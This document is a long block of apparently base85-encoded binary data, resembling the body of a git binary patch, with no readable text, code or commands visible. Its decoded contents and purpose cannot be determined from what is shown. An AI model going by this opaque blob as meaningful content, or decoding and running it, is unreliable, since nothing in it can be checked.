zFtsRuD2E=v;4hY}kBiQi?he>WKM7b%5#AoiF2yvH+P?;F>)f69369NO3_JUHd>QM3 z)+yakPcU#4m_QgjdKaezG0jhmI_7fSLGz3gIu+9PJQPK`95eR;r0E^yM&o62Tu-oQ zb6E_y^Y!@h5&*PLM!X$nxBwpI7(&cVwhZvfkEne^wvA^8U_7cF3y6y{-mc(4;5-49 z2>7@8=`~BFzf}sVNRq}WUTyaJbc5D>jxc=vfD4aP` z*;A8TV#Am17ZoX+p|lhB=17H&4Ud=S*rG-^J5go;Jy~LaJ_c@|pp97tC3Kz*P+6dD!t1vdOq{LU-?fP0_Wz#BP97 z)p(ojpfC^^+Q%CnSO7*fh~9x2egh3y(3Wi+r`DAM<&z>6Vqm%-%11RYz+|Mth{c34 zG{;IIWdxi3^%}PH8~g*Z!C(*-da+meO$}B~eqsH#E8G63=m^X*4Vlpl=fd;Hdq?2; zng)+`3_RksBLH<*U{wgkO@jk#+EH*^I|4_(a@$xqLLb`k76+}&>k6Qc;oC30m`V;G zeDv-6(G)i1e&1sFzDbU7W|nqIm4l%70ZgS5^d=OyfGotm5#lCx)WXWL6Q(a(?QHAh zzqg>6;qSSjx*#!b9r%M)zROhlYRfnf?d+KRBQ{HOrg8qvqT&5 zLHiI6MT=CL0+sTFP)8L4)GoB)qbgV-L@F`f2;caMl2d@MA<4sv>F0-&p5~W@R7-vZ zW9(4^8#unX=&GtM*tt!+SdJ2<2%gE64ch+nTV`5XvQ=CHjUPq-2fL3Fm&t9pNJUnQ z|JmAIN#rr!C+yu|mw-K7i1ySnTDm0i6Fy6Zi#T{m^^M(OtPaET-)=d1?f^ zrOIKBVCWlWkWhr5cU`1FnHVRe&F#tvBMZrVlg?9MT0uC`jg-|L?E>#bKaf5kaY8SHa zxEAp$PJzKq8JRM!Zt)P@djW(tZb3;N(A_*T^u=8WsueXnp5#~Xve=m=V zQJbs_F7qI8ft*iXn&14C9n*jMd~|sM)(iBb=2D5l>lW#J&2FKQL^hLQMOHt_|Nlrs zfG@eE8kAhD?E4>BR6Qp&3s*;1rAPlfd0$)iQz-QD({cr^*2{o!ZpK&l znYgb~zH=!=_vQ`{-des$CvDtoS)`98EOk(R2J^uh7ech~tb+W+xaeGd>L_5XuTgG7 zE!gETaHxxqK7q~+JFw9MFt>6;8Zt`vEzNiCh?X_VeKTWkTUB_>o&5tJKb^C^34lH9 zXa^7)ll|7K)UKDsz0D;*cUhZTKqJiyRzs7$?;$99nAZF$mxbR=HoL!jGqgL{Mh1bU zz8!hi=H@jp<;+>!U6D)8uX!(&UvF21SKn1ptM9IGFP@H-Hl_i3Jjbu>Uz5=WS_rZQ zc~<3F6brpHKm9hAd>JJVvgE@osjM4msoBH4C-@kKOuR`ktR4ND zJ{AzK*&r&{sqK$wma0L<+dPl`{}x#CXZ63G+}$hBaVPten}U3gd^h2=r`plvmXq{0-Pz>#$|N-qf48yT-;9m8^`(wiOP*Q4s7BCioCrS}PH->~cpMW3;* zAoEkrx%Lw49=SxA7m(kx9XLR%Q5+?#cs$VUk$$M2S(w=cl(rg zLhMT647j?~m{oOr(SH=l{R|uwEzkNE+HFz#Q z^eKD*Fs=LSjSUn22EYtdPz&MbdIT19e{(Jtf@87pFUtt0eQamN`gDzM2>+k_MwLe#+`ZGMLKX7fV`4JYV zx}PNYn?8Y(iB%a^N0G|%$fML|MMn@F!j5!hqa$P zQduHbvLlrb=zQIk&8VV__{t)WijJ)2B2GE_)6eM0`n_sLx)~h;`fI+AGwD{$(or17 zPE0E=t`b^j32sW{DseWg>=vimf<}a?r$i~i@&J&FbvyLoAe)>0+0A_y&B=q1n)%bg zlsPr$IG|HpP^0`9IiOUKxsfkM>%w!!MYUbIO6cwIia2x)esi+ep=_uS#YZc@7?0*b zzWtkH-!9hW%CVJ#{MWi4NZS}{nqOvxuaB*u%9pLE006{S+hun%fFod{+r`R9P^~ee z(@hDY!1*F0`UY1J4vedv)4L??u`X-QB~M>8>Ye!Dg9mSu!I^R;>#PDUfv7^jT&%5w z5NLiORs;F)C)|QI119Rr+mleCW);YH6_Qt20iD$c%Lww7UvVh{KQB}wHF|Jz4`u48 z<1$`u-oWnHjsgWeR`K}g4`ZRfBW|I)Qq{BONVevlr>s3jRK?!k9-0kSpnAS<~#BG)%XDy9s4 zir31m!%>{=0#5QD;*}7na#%DL7LA21Xhd3lJI7k*hM}yj54F0(Y>0m_sVQgPo`OuA zJ{rYiy?FEi9)Tu9Tj#Tw{~HJdJ=)YHO{21gmxlRRE;c|WyFy*2Kj%`_wDw&W}wS2{m;iKTQ|e#>N}J-JJ=gUc*Bsr^wxif@7ip63vXzE;?x zf5$kJT*UT)cq8}VH|P53oFY$cWKm({uA=T)Vpb^s%o7B9&~1Pvg@bHKfGn?Le^eR@ zCs$sn(aPLp)UrKl>?s|@#{ep9kq3z%nCw-$!CZh~ffg1QK%lb%AkkoOOFIyt^IN;y zqs!(Xg}(v%C8f<3)`T*e|Ry#BlHgY)xWu zRodgX;FD6rUllVztZXRL?D*0;b`7mUH=Yn&Ll#|Xe~cs;ffoZ)MYWzhCmwl(mhewy z6k}E_#HrcoF^=ohCkZ&S3jiNZ0_m>ytMR5Uf zXC;wRmK9L;5fY|-%9#_ChhF6qnF>=r6y0n(ajt?B$A7t3nG`v!V$OhCuwYlgy_#HF zt!zRA7`=3qY5Mho|5{WZfc!DcC-Q2}PZ%676${Aj)eCUT`KENg4CEKow!km(iPIFQ;WVgIHBi-}X;7v1EU5n~ zxIV&L)<%nN7?v3YK!sMBu&5SaCon)^+}JTgrLP%OtE*QQyaE3wXbPOla4c#ZF75i^q;y*+`b>8) zSDnoZLiy-USe%JNA0Sp)vP3i7kI@oGkR1$n$Sd0NrOh*~@PJO%I#}aCr}T17!Ih%F zoiLLXEU7L|5vW84`l2Y#FMR;k;?PQrFBptN^@=$VFQm=~e6sW(NpQ3;0xcNb%g0WS ze};mIs?eT{W2Xo{@tUT)(PVcdO?GCak}0x7#3Z(bs~cfen!AIoXVBbUl#r&C1KR(t zg!j(=zmV|wnGB8axF-4Y2yfexxq|HO1lds|_)N+xnSDN#HwC5Al(!_4@@`I3-ke)A zDG$S6q!AvNpG_q_eEHysZb5g<2K74H-lKqP+eT&pwW0u|S13LBWB3ig`WB`sQ{~ZE zZ2Ov@^dPkCigJ*^3VgsJvYO&fc@Tk1oY~LobU~fGna|)gzN2Rg*)@X_dLoZdgOmT0 zS;^lrt-LWCjlgAVA>*P{fV{DJ7P-}I%)IiVBC9OwMSe*wFxsYr8@esV|M*aYn)8rR z&9R?N#s(%t9-`J6d4&3C)QCM22H2zVp2$PgLRHA*huB!;A!-1Tts)1k^l=gTDyvT~qOb+$^^PiBb{K!EWrUuM356U#0Mg zk5XE~Au-`I>yxc8>jHle99Eya^%)ckuKJcPFk5wJcU68%-@V#4lhxs2eYo!?YoxO5 zSL?*p-BtOwdgX=y)p{d$7OTE&pYq3R#9}zLfL5v>MKAt?ZKGh<9pBQ==m>4~0O33% z*cNC`y|+mx|08w%zz>3}{#F+V)OouennNC?T>FhI_A9tm-1;YWJ#-JBCng5BibP;V z=y#q*R-JoW7SQLv={7wt*Zyzz-UYs?BJCefnv@0_I0pz&AV}1rRjL$Qu`Wf6^n!xW z5}KfLbJbeo4J8%SimfMY35O`&Srx_0Dz3V^tCXrMG!$AuRJ`q?xLO49goxl}OF<;R z?=y2wlGBEZuD<{G^M3x-VNT}y%ri63Jo7xy%&7HvAA^yAt+kF-iez+~2ocIzGXV}b zer#o6RR0AvD3&NxMgv+Jk8=HW6{t^^CbIAA*f-VZubYGKS+P90n43ye4LwyB0wd7! zy6>cHW<_g(xQmTJ9J@EwuujjUk$KX|bhJT=rTYNplrY!t+9?mQoT=G`s z=4eb6k9iUGxLvZMOhb&cZoE9cz%OI=7+UiS94GY`<-#ld(m(Kf*38zzE0_NpCRK&k zIZlLaWZ@h~!3kn(EiDO#3G_vjYR<`sVkZ5s&{v^%--n1QoWGpB+T}>m_FkH(N8e_` zAKGaREX=}4EcGv>L83f67*+rXRbFBnOM1t#2Y#ECJ1$Ey=wukuH~A={AYe@|g#;4J zqL~m;f)6XToLI>wlnCFpbU8W|`$~M7P8x7 z?-l1ENdW~ZGnjyIe2igZtfaMKG4;%pxSmly#U{WFoPjhHt{LlPw6-!xzjMaz;UmwjVgfFiia{#2&;1!~2B9!LBXqu$( z7`b48ng4D(*z+Kw{Rjx3(g>PkDDQ3_5FX548)2VfBW>T=XENnUS~SU6gqGI!C-MSR zOY6<~gmQ3%HevBSFfO1D!G_GK^!W}faKpId5*FfAlJFZ#WG=}L){;4egLiW6X~@NS zHcN9Po48&G4S)QS>GDQ}R9aGS7R_NB$o`-nWE*wf7lXx<;qHO^BivbV1K@mcyFVW+ z9)NS<+X8nhTrpe(&S30`zoec$P2`(2U)Fy}y=Bq2-R(ZvhjyIu~^9hd;|KjK4rMJzdP+6DTnU=41wLKOOdY zfhl=H!$s=@x8#|&3Jn)*#a>P{;em>aJ~0J_hDqxQpF%^?I+J1wkxYbWh-g}G+8Qwb z8{Gw|%>L0kv7KK=Kje;5MZr&in1xkF-U^NLg9MQ2pHhp>e;ZCAUxaPh1!hRPFBJoJ zIgs~W&0zw*>R+TJQ+~?f9D~Kbj100@?|VL5T(b*Jfk+25z(s~x^$ht|sYN7sz6p5K zZP`t@*7GTUH~&ntf06|f6|BNG>9Dct`~Zw+aL)!tlK}}*{Iksd$ritxtQ<(IP6jbJ z3nZi)pX$I^#V;Jc?VoO3Sep;1am*G;D4BFPrHU@A!|Mblq@4+Ixm-IHNooQm_?O1D zpZ%`LT9z%AwbqVDC|D*4uqNV*{#pyCi|~{c>?{l8EHH#(w2YRxnr|LM5=}(Q%|4h` zcm)-JQBCa#1m*)Zfn_BA7#*1ZEm|hs4ivfEON3QM7<01=>B&r!)U&Mb1J?TjISZwO z^D2u;Mr)8qSN5!UrYcKRHtnIUy_r@-mRUG&w+>2VE;*AoC;}Hts`AYa=;Qsd5^64-=0> zWY|xcQb z@t|Y^6hI=iutOtK_-f#1Gr`zbjff-*wNC>!>V@o$KsB8+7PH%F@nLVCrHu~WakhM5 zcn6z5*zxwP@ScMLJ_xgZm(8yhl~jC2MK-Yz3(cvmwC&~N<1YvW63|^{PzEwPNjJ3y z?2GOuqciFrCHfvJ{~^@Wv(q1%#m^98%MdQpZg~{RwP!tIqtIE#VG$=u4?X zoSQCNYfH9fgYWPTEafBms}LJTj0zTocA?8kDn6nf+pLRthm6U1Azz@7CA^T2)Iyf) z(msi_6BW=5^EAYr> zMdl8)%Qlq`JpC1HEg!{Z{02pfG|*ZUc$_GwGtxk$)1@p7>?H!=udAY;*gA;H+5LzK zG?R5=1oA=U?4{uds|tZw09ZXaRL_ghs=Ab-Xg!bNH|mjHc6T=JZeB1bFsVu&YYSYM zzJE(G4#nmB$9{&$(FdzSqg{?WG6NTw1LmecUY%+$B@2N&)8*g=Xpyx2pwyP+FW%sv z{29_#?Ico^9ceAf15ohtxksXI{G!)1;Z5XT3HL}Wj=*W;LBs4Xnj_a`8cc>VZd3qy zld$T61+eF7ssCQ-e*0EKHGlXxz2bMZR_^QY)b0XO;<)Q&h+7T}6Qojd^K4mcL$u!bd zpW{+y^kw~uE#M52`?eQaMA-Iq27C(goqPhNOcNRk>3K>!2wv^R`90*KIm3(6M{l^f zTX86e!7+pGg}SV{e91c@jDH~MBKW0nkHWnGmkKu=?sGT;4cR1lPFhs-S$Ztt!Q{CGn|G?wq@K1u44pu8=X*N@uE-gi+4-z!d zN(G;f5_Uy#Uwy^l+qxEJ4o${9OBDWM!tkD???^v8I$LKb*{yZO83!6@Cn6U1_VeWSiAwZy;H7 zc(8cVp26acaI4@>#XKTcf$#_6a=#fYz64i~xF_If8h1G_ZBzULPQSwR6F4KAnkC!akmgz%>qQWebRtl()eU zux;?>$y3bo@rBq z<5o5wwU~4i(~6PrR-TC#Q!aNa_XAzvTsXQ=mY=1mK5AJfQCY0cY0$H|sbZ+c`DRauFClZ&8$-@l~amt}B?fBzV7{hP z3Ysy~j8aqlz^>lZ(e$OM$A>Kj0nz!ue2d{_KF1b{+UUS!8ZRQcdSge6VZRz{=^DE) zLF^kC3WnGB1DoOgZxEti-w!Q$xW^kLE5WzXpa~66mljy)WfiP1G?Or&vViPI<9Z)& z)Ft!Nph$^B2P`F$;pW(#r^Nb{!fE!SDIWqzG!fs_%J<`%gqImW8*j2wRX3R!o#kys(bkgfw$3@<7Dmmz9P5&W#zoDj z(b|OYg+`>}2#uk(fyZ~K-PRnNf$`N{f|@MyX{b)V$>vtJc4y*FctFhE%Izmp2v>^{d3P%ZEb$=>(bXHbCg^%jgE4BhB#b1~f?&Fp4Xl0Y z^jRAXzFZfqru_#Ci~`6DaK{DWp&z3lsXI zBf(-AyoGcisj`2I;XY)F%*DAZx6+-{&G0}*JANV@B&ku~vV0D}Cr@w;-ynsO!PDXw z80k2+pyCy*)4DM~;$3wxj~T$n{BW2O!wKg&(XZN0s9%uGejvi<6&XI1l;#REDX-gwETMOx3X}_R(1%)>S{=+^NTeYjcW0ve6fv1dQ5I1e zNP3#7WC%7ip$1)w78Po=niX^vL{kc}FE9wT{@V^?yIL|6yany1A5H_$$hflbBH^`$W3KZ14iCz=w_(C!wyE=%O;HzA1(}$>a{zm6`YJq5xs*cHxf_|g zPYo@gcD7>f!iMlI5|HGXDu>WRq$nXW_eV9=2}lM0?k$L}4f5?BYP>qbT}lLa0ANTV ztvCB~X%PmP6Aod$5lTxv5I$bahL9K*S`3Xysm`0CIkA$6_PCUl(ULG$G1p5XC~vZU_m80pL#wZgGi`J-XN^n2Mt~@B*N@4hiPXZ zC=8f;$z};%=?IutqB7Wj?i*7LU#O>-v!Qp|Q%mZcG>pLv!FL)>9J5RfC7x5JlR|=z z#7QLSw%5tys-zBMtT$ezqSOuvBz+wTk(5R1NWzjlZhqvJ>5gm$Dg7A$}hY1gMp@>eU-bO)>`lwFG?QvsH zrQmi`-`>P#ffybfsAto~rMw63n2iSu=W3$;tX24~kyQwzOnUEyDU*w7)Bra$f`E z-eP^Vio%>~$2@Cb^Ny!aYAt3G{nkQu-@rIvO8UtnEG{K^UC|tz=YW`4ogxYX_#`9b zVK$PM?sB3ZIDY=dQkqL2gEHsH7aL^T>7*vkt5X|cgpl{1Y5;+27kmRa$-yG4GI}zf zkXUSs=7bI)m2@XG5;nP>a%dU}UXs-IGayC*INnU?fjL~B|6xk!pZHMTqPIVwt}8z_ z>PUEc{HU9vqVC!VY4YqU>aa`1aCuuBE@hZv@yeAW43~t86>Yc>{zt>m{SLbIDJS%I z8mu%>p+3igAT;E6%ZDD=YzngT83>|NOITx?E3U*AUMJkNw5ZEOe}OL(=C9RdBFYl5 z^H@aGZ2SL-7evJD59CGjiDhbGGayB(lJg?oVc^T9gZ7(uWPjk6-{A4`dz7M5;8AmL z4DXsr_u9(dH}j;!5$`1db9-4JQ<7`dA$$gga1Wfqcw_{PJxgR|bZD;RWP~WSQ%OC{ z@f)CQNdaqnYk|y%XTh6!7?GOFr{d|(tsS&pZEZ#`-rD}VI=2@0UsPWSqRvcsa4k59 zQyONRJb60i8_2B~$f=hLnMTlFFBi=xnhSCTFRikBJJ*?cyGgfWXj)}wm2?m{%2fkS zym!?~G}5gwq4`)0E<8S*9YH#060L3+~Bl9mggDyQmJM{wkRrQ*93#D=%#ink%i5O2CwHCdYU~ z6yxm3c_c>o-O2-p7%1%p>FG&cWP@Pkay1(jQO3WCBe|qmI%ujq12<5T#;}ecYAvW| zUDH}r1!4}{Qfk30e;s)&$BHCxe!E0%Fjk(U;<56~L`BF9YkpQNgJRnm4EXRQO6|?y z@t6=I9_+!KaKunQ5(;s`JIkx4ySo~7jt+YJmuRf|V1{$pJX4JHEW<0FD$KyaGlohG z2SO|?fZ2I@w{qL53;^DAetw4A7|SNNd^?Smxb?w%HrJuzt}20eOPBHjL#!Ac!+AcJ z(u1}&#MD?cjwXC!qD2L(2O-n{I$;t0;xKyekcS7%Os{8JAFVX6uJS6m7)!cIsDBYj zA^Nvi?AY_@)@~bkJwGR=D($=uTHaMuw)7lBLS$7n<(@a+rPTAmz(ZWhd?w4Y00z6! zTijWJTzPgP=t+6pPg5R~cu3VBU)HRyiiFSRiY=WdaamBE#8>p-leiSe3u)aX<1^_-gdkNBC8aoLPJo?JeJ5jSw7_Dm1ed zW)zV^hONm2*P|?U3!oeQsdtb(Y0jdx)((=nLtVtUh)EFj5;uWv5?*+pnE^Y%?q&H4 z9;@M-I6p9Oqr zi^f`3V24qQo>-A2`0hiy8KW4pZ|=k|-f?e~U&K}%C&6F^H$}&0fi%-X3yb`b8Jz4N zfd_o5oi9F&XH3ikR@D%Y^33Vkdq5)l8iYF9Y2#W<*}4L>*A}pmTE_q+rptN6ZIkU= zhMaG0H*cthnh)3l|L4VXq8B8|6McE%Q`;HGX5@^Zw>vJoWL-Sf8Mzs=;YNN-1MX5} z$%Gf)27{4%{G1>l$nY~B(_e5my~&hb=$~k&%gobo=myv4j>Yi9{=bTZ0QvNwBaJlfZu|5ZKchY z4g4#x-A2=Dar!?1F;RP5jrMXq86y(KPQa~R`ld?yE6kkqyFTm6zm>^nh-Zvqr%$Yb zi%VLIuB=9Btwj~pAY-jXbex4`8T*4o&v3ZLP)?+P1z8m4 z6q5F|q4<0$Si+P1;!@o5m^75Y3d;{n{F7DW|7#2X&+h)>P`!i zs_S^WTMX$cN?Hsy1SuUqK%^I!r`6yk){04AkS(HRdq(@9{H^)MXMj%U=lb3~gdE;MqEdH zlZMxh2Yn$tmB?cqPM4=|8KKL8ql8&F>TeC3A=}83&&O_JDH@eYNB!tc=Io|ci5(F{ z83btk%qXDJTU4Z>vRrRil0E4P)l3?W1;N|j<)GXMB4xz+Aau>;^-lZ5wL%+vQv-jyklhL zYY0;w9?1qT&aBXrAx!z8AzG-tlvq@TY;REv&EO$yxSA3?W6gGpc3*|GCkeNrjv)Rb zP(wr8)FkEM<+UL+Hs!<8*C`35>+q1Z-kTlv~!&8B>xOIT#0Lc%G)Z;G<&z7)(C-A8!)@ zz)g*d->$+(Dou%;%29rXC0U{g!|@iwWQ1LcLRn*Rm@HyIL#7!w<=wz@U z{R=Dv-30I+d=16287R&&M{=^1&l@PCg}8WGA%se6`0&3`UX#X$Kla8n_-C@gKLvvy zQx?PjQ|e-NH_Lapn`PVRX?7Msce7{{VHlqXC-8}oy^(NS=CPEzJOew=g-2;mp*=38 zdvoTuq({pyrPk5~sJ{a}BC7FQ(WCvBL;?L>=#lxD^oaH;QF`<)esrcsBqxZYM`Q!f z=usV|Jq8)SoYSLAi5?|Ho1Px!hjU`HNI&CMdX#bo;mgb~qLQErjZvfNF=})XF9iUS zv^^Kp2s8;Kh!Z5NVY&Pgoug7D6MOcFm&7R2wJJq2d2^0~BF)I`1SuwkMvrc~=ZN%Z z*BgoH5p5qqkLqId=tWMC)>q~n2Q7MUcqeGeG)i>UKNuw{;FQQ?1}&NprA6RGvOtYW z`|d6SC3@r~w)xM;x*HxIB|s*X04XW~qP;9B-xZyzufjM0zF!?HZ38~~|yPmw1%jT@|V3S2yrQ>SmM2So} z-*(KZCL0|m7A$ZzwDX8^HTxJ>b4iS=(e@yx@WpE=7B6Ad`aex6@!+Xx+I}QpYaYS# zp{wwGC@o3qE-UW*JIG%q-=eOJZLo5*4VGQoV0F+23s>`)=peg;?XST1(pCCf*yXcU z+)uNbacy+fQssQP!9tu{yVrxpWXbIIdp9Gd6Ns4ZVVf5$fSh|f5aZsm*j{VCx{W!3 z6Vm}PV(J7jb$fdAy@EUnPmeu?V)*q#?CKz)_5)g58@AHUWg8&49{Uwm|7=$O)Fafd z-t3pDtN&D9zav&Z@sA7y8$ejJ73&QiYwgAW`4a(>-Gtv+t+lkXgIWZ~*=ZAuk(23v zi?%Q-1O6#H&%%y5fW?Qt74}$e7te-V2IbZgj7=2J?))Lfrd^_q8B~?z$qoCo=G{Pg zmEWO#{S&v39(Y;-2x6duff2C>!QH3w{`hTGI7!-N!Vxgv8YHKOqV9rU@sSU5h<+f5 z>_X?jO4{u(X@pBD@7O^Mly2*)HtG^|S|*TT<6oo{I1c93yXJd)9>v%xY~w;Hpr79r}?D z31bf+Y@nS0Wx$2iudof+4X?6>=dfLu$23 z=)=Z@^g;A5i=z*3IM@=Z^$oQE2#rlT<&udQB&6L#!+ejUVeR!QeYlsklF{{94DL4kC4^$kk2*pz2{Rrg zm$(_Bh|rDdoKWO*l=|OFNGRMx3B`#CMR|-+`gN<{l#y5H88ScNn2q{0WVGS}x{nPnLA{O)5b^QXoctGWHht)yvBA}QV)|5IW*PxK&3|#zloI8p zCy8Q^5fUShab}!KB^}Hg%uC@|J;$GHdq; zwL5`onovxDoGGs)P6MRmj&fpk*!>_JoC*fcbOL7&@pZc?Qxu#%qpzWxg!SMI=isC> zaGK-zI=6=?3(*yD5>cr#rz`goa0ojSVu?3nVp1+1ppm2sD9Y_Rnxd0GV>L{n8&Vab zD0>9o%gENwSPgI-PjzZA(H1ngN^NjH9m)gxf7|vFkvVF6RX!vtLubUL6)5e*hwK3# zVkGkN8JaB--;VZ)$Bn&ZMNti<=pD z@>(+^K`pAN_$-}xhK-%LQNu;WS$fDyU8JcO%NNGcjZ}R zb2=3-YEHR*7}J+&`yHHqi;pFN6=d#OEZ*Pkoc}T?cH&ZWiGKkzATGXB`8_cV;$jn& ze=WK`E(P0AL%hyY%N1rY!_ zOb?HU>U6Y?$_GROu&LjqBLU5FW;eN@n;B~&(}ZcN{A zccMpK*ZW^@-|`$TGzD{lp2_-M=+XZ*eex=H04B;_96_J_Ut70y(IwwVybG*bj!&1| zyEBw=v}o8(N2EoMJeHUikx7wWm#njGIUarTojrBzNLq6ON|gHeF({EaYU7fBPm~fR z&@6wdQX!&7F-C+@p*X#=j`|dUy=C<0e@M9uvCMDE|C|$@#{awZ%jd)Z{axtI|26$` zF*~dCyVIL4x@C>t7>`T0{ABk|vpbI7ti0}s^yc)XiRq1MOBZLm@{8$>&>5lx^ybk& z9fRH^Md{6!Mf3<4XMMt*HO<>pa`T~{+z6|{^~BMe$|$#UEtf|!^Va`)J+mee{;lL2 zS7tNX^ZUs+x*BTydilnxvov7;=j9s-+wn`~8>71ErrK{V-!LYWZy1jz-}taXo8gJ% z8-)*OlUy&~AobXPA>TMNxf31|$T!}2P$%C=I*NQ_Zyil=2uHgLI5a8fPc+RT-uOW` z&0BC`@R8&j>id-JF!XUJxA0Um+LpkoyJ8OP~$ zElnX53#nSTLi1{-Grmk`)e(b2wF%ZkaXQ!Eo*c94;8rC^Q{LW3 zP{FukV`XMnL4KT)#b{!KMUz}X&>7nYE6<#XQKG3>p2Mh&s#r*rN!lQ-ovMmuKDAS` zU-=DNdNd6#YpHLe_o^7+M^mjZ6Av;_fktSyUIRsfOkPNwUZl;aLy$fPPaUTh`MW-~ zw%F5q%U5ZnKqu%Ry~vm)8XbTpkr{7jI$5^8fKK)qLO0Y4vZ@eyjH^dlQt6h@jLMv& z8*iv`&;EMYpmgT;8-Kl*(SoDdZ(P&V_fseAH+JA*%Ol%w+>7W*nX3 z=;6rZa17JnVCF^)j-%0>CC5o~0*Bd1NKA9GPX84&=l5vo(P$29=@Dp7p5CmC)Va)B zweZD=omETJbh}F=H!9q*e=)6oILfg4$+*A@{wo`+hTy`&}n`)wG!!Kb1RQW z7yHa1T|1(>*t`In`>K_ghpyZ%fFkzx4fMee?_Ar&4)2tL=-hB;Vxq$(t4Aj~Yq#i# z&WDj5%=G3L>c&6&iAp&((E&Zf{aGndwRrq~0(0Xxu`dysd2lEC6SH6a|LsdEkJrAW z+d}+51+^{%8^a3VBl=&h4oRM6nsg_s%@31d9UIvKSmiz)@^aVF_)u{C`h|%Bl zspA-+`sq4iq@5fjVw6{ZBw|FiFJzQP1|ml!Mmfhtj0Wf-ixQ)k7owkah9Rc?%rrzb z3}Jg8Pg2YxF)TlgV5|J)WG% zTmy$$J0I6MlDP(1($n$ecyo=YX%(4kC?{&LCJ<+=j5F7Og%vZ`*cNyH3BfP;Xp$s8 zpO>H=@#Y!{+tF2=!Qdqox_(Zn<{DT3hYgmqnzWh6%r($%p;kSghqimK?Y!&Jn``vJ z_!2ciKOGaUybx28?rh9)fkDWg7M+s_&f)xliy2?6khD3;Z#Bf-_`E7+-Ek2qU0^q@ zT4WHWjn;BK2PK3SK1Mn1Sk1%5&|drnYleb$xoB_1x#L%paPD3%Yh?)U<4=m?`H^OC;16s zm5?X=j`*TuZ3*y2n4)z)&Lo^{qS?8TxG5%u=`em@%(9qKRMmPzq;ejud}v;-3$$qS zRBf8sppP~L*trd?dj+^Z2In9!k;uXU22SAuULVa5Ze^{W!f7B9rA+;fkp#_h3AY!s zUgde{U~PC4Et0xP$&I)%DVZ5}>Ut!|tQ?g{U_h1f(;lk8;H!O|sw-<{$3l<}PjYhM z!A&)6YUVPoJ#Kzp(&WE&L*Lyv{6Pm_OX={(vo~XEPUlC`gy^Kip^ioN6l#bz`sT?E z>=-?cLh06%IDJ6WKAE4#B6DfgKAE3~(&kJ2xw8glpKR3T$-vG766elv(PeY|xwClw zoxi^dI5XJ&9_sShW#QxpOt6gNR*$#%0TWtNQ7dj)u1e2UN(Qra33HC$8ow%#xe$Fn=JiJqT>71Rez1lguc=K>wdtK3!CUmdI6QBtE2pX(6iAJ#_XlqDx z02&1#H~=w&%a}npNB9u|IE@pilgJ>v0X8jU60V}$#Z1CuQ;h(5m;gD-5ww+YM@-z` zveBrmhGcjOoW|y-(mqfnWkgXPz!;4lL93^cy@uHI-?Mp4U=TfF7j2$zoA;6!l(Zh> z5Is(xb*3U-x|YI@X63qZyUHb{F_Pi-7&*znB@Rw}% zPivwM&qs%sxl5Hdpe2nH6fTO1=Vs9{u7%ca>VXb6#bj>JYy$$K4);M)5$vVhgz>BJ zwv;}etV(rGF?~a6qUT7p`JAvkH*OEn%A1&O#{1vxV;$9%6XdZ4P^uZ_#@QG@rAo>4 zLlF<&V@a#ReO3457;vxhKHT7zM%Vk`SgR*evE;oIL^sZoWhv>tT@e@FQ~4*|gN8FK zIFG`NxPd}*d%i=g?1_7B`j#kF|2Cpitx*GS3=*mz>-qjIE1JBWL3rmf4#I=C9~*=x zB?f{=2ZCC^1N9rJ{zIR2s-MG`UzyfkkZv)0d$+=~VJLx=nL{@qbre+Ie+b^6@1QG_ zDjoatkrFTSSUo3}C>OAjEzKSq-se@nVPCGL#|8iT^nK#ecZ;Q0@qw{jJJ!~vOWwMa zSrW8>rAyBIz${W!i$G<@^&yWo3$|TRoz< zR$fhaYz;Hgu>0C1e-YeaF?}Mx9lJ}bk9&$sDcwS&(uyMq^yFkf;urqRg7NUo%b;K5 zhXUyGDXR-_kCMea>~$gyS)XO&zO4K2rpxW%VEf1joifax}$1;EO=d)&JH(l0z z&3+23X`$4W-FR5VXD4OT!33M~EVvDMYehQL8~#@pF9-jT-h>dGaVR=K?xc4#+5P==i}mX1FiVFumA`HSh>2Wm@z>GD zKrY4w!XL2@(O*Z)Fy4{y*L}u5()@L_&6bPp{<@v)!{M(Z?pQ8P_t$;HJ~I4uw7StF zcy&Lr5AYB%|VHR&?AGs(DqfRc)Lt*SAABC}x0u;tR#{26UQATTB2dU-p zCl^ok*MZPspDItDD!i~sI^Yn-tLeRu45mw z{dIHL$Cds%FZ-zQ*Ue`i*Woc<_JOPXs@aDZ*EzF~`Tn|v?4yd`p}fD2CXb<`-r%oW zOcC|f`01}(!oI0f{dn7!!WXjdE9tvdqv8me3CY|*eB{)I4NeR;avXqY`3mKP0kM8hyn=?{6+qhSTnu#9Nf z_-I&WG;Ct@YZ`r383Y-Hyf;!>FRvj!ur=smr)ZY$-&UwLaCox{UZsdb-|hu>}Fhz6OIlE&Q}ec9s2|oHY5V!X zwr;5#g4>f*HwmjkSS;~Ybx=t~MN-FLp?)-06x{#4@EW^V<{9Fw09Ml7%KWR)oUOlqqK-y|gY@2LTnVbzeFaK9&_;qLd=Bthn&#PV4xe=uA~EkPygw z94oY=42RlA;+5&1C|9nhYMf<}ESK`uo;|1l+99QRGgW2LSH)6Nx{nu7EFQj69!-#r zn&fiQV`?v*cL?e9sBaI7LhZfi4Dcf8SevkFt+f5l@?e{_{QZvLc5^uf5DkGg0bjzZ zAWrYA9r^MVU3;p`sde+c31dBJlsUt#oHVv8C}mC_o#|Fg38DdpD0P^H`W@&ux>w#~ z7o(l*Neg`m!V>pe?e)+H2*&X945gZ1#QOtp6Hlv00>uweo3-_iU7ICciOc5Y_u<(D z4DsDIphNmnkVC;Q&GILyTY`Jc!7okHSH>y8Vw(INspr#!;cn6nWANKFCltL?TyEdS zTl*=W;;oU+qgFY)XV*Z?ri?P#_a_<+cUw3-cl!}JVL9<}qEajYd*9kY&jeBG$laVM{X%K7M3T@_cMia31L@meAq zj@6R*TDq&X42;!s1J!~z5!7CZ^wHJg;I;fIK`nUmmIn6&Ze{R}u7exTBsnWUr53xD zLs+`H%nhD-xm)?RHNni`vCp`bEs0`PvX5!^w?xrAGh**g5KEis!S7O)^u8z?W{|-- znjv>S_X@i>4Q?LX^&scV;lBvCM*aQam3HyOtL)EDEZ;?;Js z9xe=5T45Jg!F>!z@jt@v13wFHGTcVB+>=o5O1OJb-ji^Ra9iOz;4~RRybo%C{kqjD zKSB#Vy9L;R<=!oaX_;SOmRggTPJx7mt-2+C6T3B8bh@V~SFcU9#IGeIN_hco0E1tP zsU32wu@Fh+abdL%fJ86w&CQe1jTKB(HDdN#t1@PbQBF zGtk2c>1EDR6gJ`#HaNAy*nmJ5l1?KFnJywr5xiKI>1XTeZ%n5|eH(}IET{4;r|7a= zSnw0AkzCEo_?BT=HW#$-A_^dsob^>Md7)CGVr0wOFgL>nXoLpF5LkVd5gWw 